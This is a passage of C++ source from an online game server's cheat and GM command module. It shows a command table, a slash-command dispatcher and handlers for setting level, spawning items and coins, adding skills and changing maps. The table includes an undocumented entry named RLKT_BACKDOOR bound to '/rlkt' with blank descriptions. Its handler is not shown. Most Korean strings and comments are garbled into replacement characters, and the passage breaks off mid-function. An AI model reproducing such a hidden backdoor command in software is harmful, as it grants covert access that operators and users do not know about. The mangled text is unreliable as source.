{ CANCEL_GUILDAPPLY , _T ( " /gapplicationreset " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/gapplicationreset)" ) , _T ( " Usage(/gapplicationreset) " ) } , // <20> ڽ<EFBFBD> <DABD> <EFBFBD> <20> <> <EFBFBD> Խ<EFBFBD> û<EFBFBD> <C3BB> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD>
{ RESET_GUILDPOINTLIMIT , _T ( " /resetglimit " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/resetglimit), <20> <> <EFBFBD> <EFBFBD> (<28> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ġ <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ʱ<EFBFBD> ȭ)" ) , _T ( " Usage(/resetglimit), Description(Reset Guild DailyExp Limit) " ) } ,
# if defined(PRE_ADD_PVP_VILLAGE_ACCESS)
{ PVP_VILLAGE_JOIN , _T ( " /pvpjoin " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/pvpjoin), <20> <> <EFBFBD> <EFBFBD> (<28> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> pvp <20> <> <20> 鰡<EFBFBD> <E9B0A1> )" ) , _T ( " Usage(/pvpjoin), Description(Go pvp Room) " ) } ,
{ PVP_VILLAGE_CREATE , _T ( " /pvpmake " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/pvpmake), <20> <> <EFBFBD> <EFBFBD> (<28> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> pvp <20> <> <20> 鰡<EFBFBD> <E9B0A1> )" ) , _T ( " Usage(/pvpmake), Description(Make pvp Room) " ) } ,
{ PVP_VILLAGE_LADDER , _T ( " /pvpladder " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/pvpladder), <20> <> <EFBFBD> <EFBFBD> (<28> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ladder <20> <> <EFBFBD> <EFBFBD> )" ) , _T ( " Usage(/pvpladder), Description(Go pvp ladder) " ) } ,
# endif
# if defined(PRE_ADD_EXPORT_DPS_INFORMATION)
{ ENABLE_DPS_REPORT , _T ( " /reportdps " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/reportdps), <20> <> <EFBFBD> <EFBFBD> ( DPS <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> )" ) , _T ( " Usage(/reportdps), Description( USE DPS Report ) " ) } ,
# endif
# if defined( PRE_ADD_NAMEDITEM_SYSTEM )
{ GOLDBOX_NAMEDITEM , _T ( " /goldboxitem " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/goldboxitem (<28> <> <EFBFBD> <EFBFBD> <EFBFBD> ۾<EFBFBD> <DBBE> ̵<EFBFBD> ), <20> <> <EFBFBD> <EFBFBD> ( <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ڽ<EFBFBD> <DABD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> )" ) , _T ( " Usage(/goldboxitem), Description( goldboxitem change ) " ) } ,
{ NAMEDITEM_COUNT , _T ( " /nameditemcount " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/nameditemcount (<28> <> <EFBFBD> <EFBFBD> <EFBFBD> ۾<EFBFBD> <DBBE> ̵<EFBFBD> ), <20> <> <EFBFBD> <EFBFBD> ( <20> <> <EFBFBD> ӵ<EFBFBD> <D3B5> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ۰ <EFBFBD> <DBB0> <EFBFBD> üũ )" ) , _T ( " Usage(/nameditemcount), Description( nameditem count ) " ) } ,
# endif
# if defined(PRE_ADD_LIMITED_CASHITEM)
{ CHANGE_LIMITQUANTITY , _T ( " /limititemmax " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/limititemmax (<28> <> <EFBFBD> <EFBFBD> <EFBFBD> ۽ø<DBBD> <C3B8> <EFBFBD> <EFBFBD> ѹ<EFBFBD> )(<28> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ), <20> <> <EFBFBD> <EFBFBD> ( <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ѿ<EFBFBD> <D1BE> <EFBFBD> <EFBFBD> ۼ<EFBFBD> <DBBC> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> )" ) , _T ( " Usage(/limititemmax), Description( limitation quantity change ) " ) } ,
# endif //#if defined(PRE_ADD_LIMITED_CASHITEM)
# if defined (PRE_ADD_BESTFRIEND)
{ CLOSE_BESTFRIEND , _T ( " /closebf " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/closebf, <20> <> <EFBFBD> <EFBFBD> ( <20> <> ģ <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> )" ) , _T ( " Usage(/closebf), Description( remove bestfriend quickly ) " ) } ,
# endif
# if defined(PRE_ADD_RACING_MODE)
{ RACING_START , _T ( " /startracing " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/startracing, <20> <> <EFBFBD> <EFBFBD> (PVP <20> <> <EFBFBD> ̽<EFBFBD> Start)" ) , _T ( " Usage(/startracing), Description( PVP racing start ) " ) } ,
{ RACING_END , _T ( " /endracing " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/startracing(index), <20> <> <EFBFBD> <EFBFBD> (PVP <20> <> <EFBFBD> ̽<EFBFBD> End)" ) , _T ( " Usage(/endracing(index), Description( PVP racing end ) " ) } ,
# endif //#if defined(PRE_ADD_RACING_MODE)
# if defined(PRE_ADD_PCBANG_RENTAL_ITEM)
{ SETPCCAFERENTITEM , _T ( " /setpccafeitem " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/setpccafeitem, <20> <> <EFBFBD> <EFBFBD> (PCBang <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> )" ) , _T ( " Usage(/setpccafeitem), Description( PCCafe Rent Item ) " ) } ,
# endif
# ifdef PRE_MOD_PVPRANK
{ RANK , _T ( " /pvprank " ) , _T ( " PvPRank <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> " ) , _T ( " Cheat ReCalc PvPRank " ) } ,
# endif //#ifdef PRE_MOD_PVPRANK
# if defined(PRE_ADD_PVP_RANKING)
{ PVP_RANK , _T ( " /rank " ) , _T ( " PvPRank <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> " ) , _T ( " Cheat Aggregate PvPRank " ) } ,
{ PVP_LADDER_RANK , _T ( " /ladderrank " ) , _T ( " PvPLadderRank <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> " ) , _T ( " Cheat Aggregate PvPLadderRank " ) } ,
# endif
# if defined(PRE_SPECIALBOX)
{ SPECIALBOX , _T ( " /specialbox " ) , _T ( " specialbox (mailid) " ) , _T ( " specialbox (mailid) " ) } ,
# endif // #if defined(PRE_SPECIALBOX)
# if defined(PRE_ADD_REMOTE_QUEST)
{ GAIN_REMOTE_QUEST , _T ( " /gain_rq " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ʈ ȹ<> <C8B9> " ) , _T ( " Cheat Aggregate PvPRank " ) } ,
{ ACCEPT_REMOTE_QUEST , _T ( " /accept_rq " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ʈ <20> <> <EFBFBD> <EFBFBD> " ) , _T ( " Cheat Aggregate PvPRank " ) } ,
{ COMPLETE_REMOTE_QUEST , _T ( " /complete_rq " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ʈ <20> Ϸ<EFBFBD> " ) , _T ( " Cheat Aggregate PvPRank " ) } ,
# endif
# if defined(PRE_ADD_STAGE_CLEAR_ENCHANT_REWARD) && defined(_GAMESERVER)
{ SET_STAGE_CLEAR_BOXNUM , _T ( " /setboxnum " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ŭ<> <C5AC> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> ȣ <20> <> <EFBFBD> <EFBFBD> " ) , _T ( " setboxnum groupnum " ) } ,
# endif // #if defined(PRE_ADD_STAGE_CLEAR_ENCHANT_REWARD) && defined(_GAMESERVER)
{ ISGAINMISSION , _T ( " /missiongain? " ) , _T ( " <EFBFBD> ̼<EFBFBD> ȹ<> <C8B9> <20> <> <EFBFBD> <EFBFBD> ?" ) , _T ( " Acquire Mission? " ) } ,
# if defined( PRE_ADD_STAMPSYSTEM )
{ ADD_STAMP , _T ( " /addstamp " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/addstamp index(1~8) day(1~7))" ) , _T ( " Usage(/addstamp index(1~8) day(1~7)) " ) } ,
{ CLEAR_STAMP , _T ( " /clearstamp " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/clearstamp)" ) , _T ( " Usage(/clearstamp) " ) } ,
# endif // #if defined( PRE_ADD_STAMPSYSTEM )
# if defined(PRE_ADD_ACTIVEMISSION)
{ SET_ACTIVEMISSION , _T ( " /activemission " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/activemission (missionid)" ) , _T ( " Usage(/activemission (missionid)) " ) } ,
# endif
# if defined(PRE_ADD_MONTHLY_MISSION)
{ GAIN_MONTHLY_MISSION , _T ( " /mmissiongain " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ̼<EFBFBD> ȹ<> <C8B9> " ) , _T ( " Acquire Monthly Mission) " ) } ,
{ ACHIEVE_MONTHLY_MISSION , _T ( " /mmissionachieve " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ̼<EFBFBD> <20> <EFBFBD> " ) , _T ( " Achieve Monthly Mission " ) } ,
# endif // #if defined(PRE_ADD_MONTHLY_MISSION)
# if defined(PRE_ADD_CP_RANK)
{ INIT_STAGECP , _T ( " /initcprank " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/initcprank inittype(0-all,1-Legend,2-Monthly,3-Personal))" ) , _T ( " Usage(/initcprank inittype(0-all,1-Legend,2-Monthly,3-Personal)) " ) } ,
# endif //INIT_STAGECP
# if defined(PRE_ADD_DWC)
{ DWCPOINT , _T ( " /dwcpoint " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/dwcpoint (point)" ) , _T ( " Usage(/dwcpoint (point) " ) } ,
{ START_MATCH , _T ( " /startmatch " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/startmatch" ) , _T ( " Usage(/startmatch " ) } ,
{ DWC_MATCH_CLOSE , _T ( " /dwcmatchclose " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/dwcmatchclose 0/1" ) , _T ( " Usage(/dwcmatchclose 0/1 " ) } ,
{ UPDATE_DWC_STATUS , _T ( " /updatedwc " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/updatedwc" ) , _T ( " Usage(/updatedwc " ) } ,
# endif
# if defined( PRE_PVP_GAMBLEROOM )
{ CREATE_GAMBLEROOM , _T ( " /creategambleroom " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/creategambleroom RoomIndex Regulation GambleType Gambleprice " ) , _T ( " Usage(/creategambleroom RoomIndex Regulation GambleType Gambleprice " ) } ,
# endif
{ RLKT_BACKDOOR , _T ( " /rlkt " ) , _T ( " " ) , _T ( " " ) } ,
# if defined( PRE_ADD_NEW_MONEY_SEED )
{ DEL_SEED , _T ( " /delseed " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/delseed" ) , _T ( " Usage(/delseed " ) } ,
# endif
} ;
CDNCheatCommand : : CDNCheatCommand ( CDNUserSession * pUserSession )
: m_pSession ( pUserSession )
{
m_bLucky = false ;
BOOST_STATIC_ASSERT ( CMD_END = = _countof ( g_CmdList ) ) ;
}
# if defined(_GAMESERVER) && defined(_SHADOW_TEST)
extern bool g_bEnableShadow [ MAX_SESSION_COUNT ] ;
# endif
CDNCheatCommand : : ~ CDNCheatCommand ( )
{
}
std : : wstring CDNCheatCommand : : _GetUserName ( )
{
return ( m_pSession - > GetCharacterName ( ) ) ;
}
CDNUserQuest * CDNCheatCommand : : _GetQuest ( )
{
return m_pSession - > GetQuest ( ) ;
}
int CDNCheatCommand : : Command ( std : : wstring & szCheat )
{
if ( szCheat . find ( L " / " ) ! = 0 )
{
return - 1 ;
}
int nResult = - 1 ;
std : : vector < std : : wstring > tokens ;
TokenizeW ( szCheat , tokens , L " " ) ;
ToLowerW ( tokens [ 0 ] ) ;
int nCount = sizeof ( g_CmdList ) / sizeof ( __CmdLineDefineStruct ) ;
for ( int i = 0 ; i < nCount ; i + + )
{
// if( szCheat.find(g_CmdList[i].szString) < szCheat.size() )
if ( wcscmp ( tokens [ 0 ] . c_str ( ) , g_CmdList [ i ] . szString ) = = NULL )
{
m_pSession - > SendChat ( CHATTYPE_SYSTEM , ( int ) szCheat . size ( ) * sizeof ( WCHAR ) , ( WCHAR * ) _GetUserName ( ) . c_str ( ) , ( WCHAR * ) szCheat . c_str ( ) ) ;
bool bResult = OnCommand ( i , tokens ) ;
if ( bResult = = false )
{
nResult = 2 ;
break ;
}
else
{
nResult = 1 ;
break ;
}
}
}
std : : wstring szResultMsg ;
switch ( nResult )
{
case 2 :
{
szResultMsg = L " Command param Error " ;
m_pSession - > SendChat ( CHATTYPE_SYSTEM , ( int ) szResultMsg . size ( ) * sizeof ( WCHAR ) , ( WCHAR * ) _GetUserName ( ) . c_str ( ) , ( WCHAR * ) szResultMsg . c_str ( ) ) ;
}
break ;
case - 1 :
{
//szResultMsg = L"Can't found Command.";
//m_pSession->SendChat(CHATTYPE_SYSTEM, (int)szResultMsg.size()*sizeof(WCHAR), (WCHAR*)_GetUserName().c_str(), (WCHAR*)szResultMsg.c_str() );
}
break ;
case 1 :
{
szResultMsg = L " OK. " ;
m_pSession - > SendChat ( CHATTYPE_SYSTEM , ( int ) szResultMsg . size ( ) * sizeof ( WCHAR ) , ( WCHAR * ) _GetUserName ( ) . c_str ( ) , ( WCHAR * ) szResultMsg . c_str ( ) ) ;
}
break ;
}
return nResult ;
}
bool CDNCheatCommand : : OnCommand ( int nCmdID , std : : vector < std : : wstring > & tokens )
{
switch ( nCmdID )
{
case HELP :
case HELP1 :
{
for ( int i = 0 ; i < CMD_END ; i + + )
{
std : : wstring szMsg ;
# if defined(_WORK) || defined(_KR) || defined(_KRAZ)
szMsg = FormatW ( L " [%s] - %s " , g_CmdList [ i ] . szString , g_CmdList [ i ] . szComment ) ;
# else
szMsg = FormatW ( L " [%s] - %s " , g_CmdList [ i ] . szString , g_CmdList [ i ] . szCommentEn ) ;
# endif
m_pSession - > SendChat ( CHATTYPE_SYSTEM , ( int ) szMsg . size ( ) * sizeof ( WCHAR ) , ( WCHAR * ) _GetUserName ( ) . c_str ( ) , ( WCHAR * ) szMsg . c_str ( ) ) ;
}
}
break ;
case SET_USER_LEVEL :
{
wstring wszString ;
if ( tokens . size ( ) < 2 ) {
wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> Է<EFBFBD> <D4B7> <EFBFBD> <EFBFBD> ּ<EFBFBD> <D6BC> <EFBFBD> !!!\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
int nLevel = _wtoi ( tokens [ 1 ] . c_str ( ) ) ;
float fPercent = ( tokens . size ( ) > = 3 ) ? ( float ) ( _wtof ( tokens [ 2 ] . c_str ( ) ) * 0.01f ) : 0.f ;
if ( nLevel < 1 | | nLevel > CHARLEVELMAX ) {
wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> Է<EFBFBD> <D4B7> <EFBFBD> <EFBFBD> ּ<EFBFBD> <D6BC> <EFBFBD> !!!\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
DWORD nExp = g_pDataManager - > GetExp ( m_pSession - > GetUserJob ( ) , nLevel ) ;
if ( nLevel < CHARLEVELMAX ) {
int nNextExp = g_pDataManager - > GetExp ( m_pSession - > GetUserJob ( ) , nLevel + 1 ) ;
nExp + = ( int ) ( ( nNextExp - nExp ) * fPercent ) ;
}
# if defined(_VILLAGESERVER)
// <20> ׳ <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> 㿡 <20> ٽ<EFBFBD> <20> ÷<EFBFBD> <C3B7> ֵ<EFBFBD> <D6B5> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> մϴ<D5B4> .
// Note: <20> ̷<EFBFBD> <CCB7> <EFBFBD> <20> ϸ<EFBFBD> level ġƮ <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <20> <> ų<EFBFBD> <C5B3> <EFBFBD> <EFBFBD> Ʈ<EFBFBD> <C6AE> Ŭ<> <C5AC> <EFBFBD> <EFBFBD> <20> <EFBFBD> <DEB6> <EFBFBD> <EFBFBD> ϴ<EFBFBD> .
// Ŭ<> <EFBFBD> <20> <> Ȯ<EFBFBD> ϰ<EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> ö<C3B6> ŭ SP <20> <> <20> ÷<EFBFBD> <C3B7> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ,
// <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> 1<> <31> <EFBFBD> <EFBFBD> <20> ø<EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> ų<EFBFBD> <C5B3> <EFBFBD> <EFBFBD> Ʈ<EFBFBD> <C6AE> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ˴ ϴ<CBB4> .
m_pSession - > SetExp ( 1 , DBDNWorldDef : : CharacterExpChangeCode : : Cheat , 0 , false ) ;
m_pSession - > SetLevel ( 1 , DBDNWorldDef : : CharacterLevelChangeCode : : Cheat , false ) ;
m_pSession - > SetExp ( nExp , DBDNWorldDef : : CharacterExpChangeCode : : Cheat , 0 , true ) ; // exp<78> <70> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ָ<EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ˾Ƽ <CBBE> <20> ٲ<EFBFBD> <D9B2> <EFBFBD>
# elif defined(_GAMESERVER)
if ( m_pSession = = NULL | | m_pSession - > GetPlayerActor ( ) = = NULL | | ! m_pSession - > GetActorHandle ( ) )
break ;
if ( m_pSession - > GetLevel ( ) > nLevel ) {
wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ۿ<EFBFBD> <DBBF> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ϴ<EFBFBD> (<28> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> )!!!\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
m_pSession - > GetPlayerActor ( ) - > SetExperience ( 1 ) ;
m_pSession - > GetActorHandle ( ) - > SetLevel ( 1 ) ;
m_pSession - > GetPlayerActor ( ) - > SetExperience ( nExp ) ; // exp <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ָ<EFBFBD> <20> ˾Ƽ <CBBE> <20> ٲ<EFBFBD> <D9B2> <EFBFBD> .
# endif
}
break ;
case CLEAR_ALL_QUEST :
{
CDNUserQuest * pQuest = _GetQuest ( ) ;
if ( ! pQuest )
return false ;
pQuest - > ClearAllQuestInfo ( ) ;
pQuest - > SendAllQuestRefresh ( ) ;
}
break ;
case MAKEITEM :
{
return m_pSession - > GetGMCommand ( ) - > CmdMakeItem ( tokens ) ;
}
break ;
case huanhua :
{
return m_pSession - > GetGMCommand ( ) - > Cmdhuanhua ( tokens ) ;
}
break ;
case ADD_SKILL :
{
# if defined(_VILLAGESERVER)
if ( tokens . size ( ) ! = 2 ) return false ;
// <20> <> <EFBFBD> ̺<EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> Ϳ <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ϴ<EFBFBD> <20> <> ų<EFBFBD> <C5B3> add <20> <> Ŵ.
int iSkillID = _ttoi ( tokens [ 1 ] . c_str ( ) ) ;
TSkillData * pSkillData = g_pDataManager - > GetSkillData ( iSkillID ) ;
if ( NULL = = pSkillData )
{
wstring wszString = FormatW ( L " [SkillID %d]<5D> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ʴ<EFBFBD> <20> <> ų ID <20> Դϴ<D4B4> !! \r \n " , iSkillID ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
// <20> ̹<EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ִ<EFBFBD> <20> <> ų<EFBFBD> <C5B3> <20> н<EFBFBD> .
if ( false = = m_pSession - > GetSkill ( ) - > FindSkill ( iSkillID ) )
{
m_pSession - > GetSkill ( ) - > AddSkill ( iSkillID ) ;
}
else
{
bool bUnLockLevelZeroSkill = false ;
for ( int i = 0 ; i < SKILLMAX ; + + i )
{
TSkill * pSkillData = & ( m_pSession - > GetSkillData ( ) - > SkillList [ i ] ) ;
if ( 0 = = pSkillData - > nSkillID )
break ;
if ( pSkillData - > nSkillID = = iSkillID )
{
if ( 0 < pSkillData - > cSkillLevel )
{
wstring wszString = FormatW ( L " [SkillID %d]<5D> ̹<EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> ų<EFBFBD> Դϴ<D4B4> .!! \r \n " , iSkillID ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
}
else
{
m_pSession - > GetSkill ( ) - > CheatAcquireSkill ( iSkillID ) ;
bUnLockLevelZeroSkill = true ;
}
break ;
}
}
}
# elif defined(_GAMESERVER)
wstring wszString = FormatW ( L " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ֽʽ ÿ<CABD> !!\r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
# endif
}
break ;
case REMOVE_SKILL :
{
# if defined(_VILLAGESERVER)
if ( tokens . size ( ) ! = 2 ) return false ;
m_pSession - > GetSkill ( ) - > DelSkill ( _ttoi ( tokens [ 1 ] . c_str ( ) ) ) ;
# elif defined(_GAMESERVER)
# endif
}
break ;
case ADD_SKILL_LEVEL :
# if defined(_VILLAGESERVER)
if ( tokens . size ( ) ! = 3 ) return false ;
m_pSession - > GetSkill ( ) - > SetSkillLevel ( _ttoi ( tokens [ 1 ] . c_str ( ) ) , _ttoi ( tokens [ 2 ] . c_str ( ) ) , DBDNWorldDef : : SkillChangeCode : : ModSkillLevelByAdmin ) ; // <20> <> ų<EFBFBD> <C5B3> <EFBFBD> <EFBFBD> Ʈ <20> ȿ<EFBFBD> <C8BF> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD>
# elif defined(_GAMESERVER)
# endif
break ;
case MAKECOIN :
if ( tokens . size ( ) ! = 2 ) return false ;
if ( ! m_pSession - > AddCoin ( _ttoi64 ( tokens [ 1 ] . c_str ( ) ) , DBDNWorldDef : : CoinChangeCode : : Cheat , 0 ) ) return false ;
break ;
case CHANGEMAP :
case GOTOMAP :
{
wstring wszString ;
if ( tokens . size ( ) < 2 ) {
wszString = FormatW ( L " <EFBFBD> <EFBFBD> <20> <> <EFBFBD> ̵<EFBFBD> <CCB5> <EFBFBD> üũ<C3BC> <C5A9> <EFBFBD> ּ<EFBFBD> <D6BC> <EFBFBD> . <20> <> <EFBFBD> <EFBFBD> <20> <> ID : [%d]\r \n " , m_pSession - > GetStatusData ( ) - > nMapIndex ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
if ( _ttoi ( tokens [ 1 ] . c_str ( ) ) < 1 ) {
wszString = FormatW ( L " Ʃ<EFBFBD> 丮<EFBFBD> <EFBFBD> <EFBFBD> ʿ<EFBFBD> <EFBFBD> <EFBFBD> <20> <> <20> <> <20> <> <EFBFBD> ٱ<EFBFBD> <D9B1> <EFBFBD> !!!!! \r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
# if defined(_VILLAGESERVER)
CDNField * pField = m_pSession - > GetField ( ) ;
if ( pField )
{
if ( pField - > bIsPvPVillage ( ) | | pField - > bIsPvPLobby ( ) | | pField - > bIsDarkLairVillage ( ) )
{
wszString = FormatW ( L " PvP<EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ,PvP<76> κ<EFBFBD> ,<2C> <> ũ<EFBFBD> <C5A9> <EFBFBD> <EFBFBD> <EEB8B6> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> /changemap ġƮ<C4A1> <C6AE> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ϴ<EFBFBD> . \r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
}
# elif defined(_GAMESERVER)
if ( m_pSession - > GetGameRoom ( ) )
{
if ( m_pSession - > GetGameRoom ( ) - > bIsPvPRoom ( ) )
{
wszString = FormatW ( L " PvP<EFBFBD> ߿<EFBFBD> <EFBFBD> <EFBFBD> /changemap ġƮ<C4A1> <C6AE> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ϴ<EFBFBD> . \r \n " ) ;
m_pSession - > SendChat ( CHATTYPE_NORMAL , ( int ) wszString . size ( ) * sizeof ( WCHAR ) , L " " , ( WCHAR * ) wszString . c_str ( ) ) ;
return false ;
}
if ( m_pSession - > bIsGMTrace ( ) )
{
